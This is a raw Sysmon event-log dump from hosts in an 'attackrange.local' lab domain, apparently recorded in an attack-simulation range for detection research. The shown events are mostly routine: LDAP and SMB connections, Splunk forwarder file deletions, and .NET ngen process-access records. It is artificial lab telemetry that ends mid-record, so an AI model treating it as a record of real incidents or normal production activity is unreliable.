AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59260-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000044657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.960{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59260-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000044656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.861{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59259-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000044655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.861{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59259-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000044654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.851{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59258-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 354300x800000000000000044653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.851{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59258-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local389ldap 23542300x800000000000000044652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.701{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B644D99250F0869ACE144CA68AEBF06,SHA256=6904B895F9142FABA1958A82DF0852F301EF4E2500D7CC543A31DADD1F00D4FE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.619{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F68-613B-B009-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.609{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F68-613B-B009-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.608{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F68-613B-B009-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.576{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F68-613B-AF09-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.562{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F68-613B-AF09-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.561{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F68-613B-AF09-00000000F001}5344C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.539{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=3E6E733FBF6E97BBF99C3E9F959CA564,SHA256=D84FD1F0B48375EF39ED1ED9E2705135FB027BC2C06327F863536DBFEEAE5436,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.538{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=3D98D638E471A29AB40B54638B020BB8,SHA256=E8979410838356B50EB946530C9CD1B40A3528DA06EB5FBC7E29437E6BDD1F0D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.526{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F68-613B-AE09-00000000F001}1092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.515{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F68-613B-AE09-00000000F001}1092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.515{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F68-613B-AE09-00000000F001}1092C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.505{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F406DFA67BF5D4FBF944DBFABD515430,SHA256=1A07A898D6A53EB8F649870B59850A014F1007FF8B8F35F1DBE82E7DE364E540,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:56.179{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\ProgramData\Microsoft\Windows\DeviceMetadataCache\OLDCACHE.000MD5=2909EFAC87A943ADDBF7B44D77C0DEA0,SHA256=32A6EFB4ED731B4EBD74B770CD60EEEFE65E1A8CE327E4208E04919738E0937A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013972Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:57.525{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ABAE7EBC3C35C10953FB9FDC5CA2423F,SHA256=D0BEB2B507068AC124B5305919F5395F610DEFA957D294A8EDA1D88F06656217,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000044689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.763{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0B598BE0608A2D3E7160697D3082A042,SHA256=EB43C64F682F146D41AA5B250C69821E8C27711FEC94507F458318D8589C1CE5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.745{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.701{7BD73061-6F42-613B-0209-00000000F001}6612ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\ADMINI~1\AppData\Local\Temp\tmp6F6F.tmpMD5=9E936C2078B286132CD6B9C8602FD17A,SHA256=FA994BADB1E90B2629E0D955572CA57EFE97169D20D6B4957E2F830E3680DA9E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.607{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B709-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.583{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B709-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.583{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B709-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.553{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F69-613B-B609-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.543{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F69-613B-B609-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.543{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F69-613B-B609-00000000F001}4928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.523{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=33C01D50CE3579C16AB2AB8C26D3B6CD,SHA256=C4AB7A9D7B5BA2B074AE29E3643E4AA9E00671E21AD5BD90667F67AB4430A617,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:57.461{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM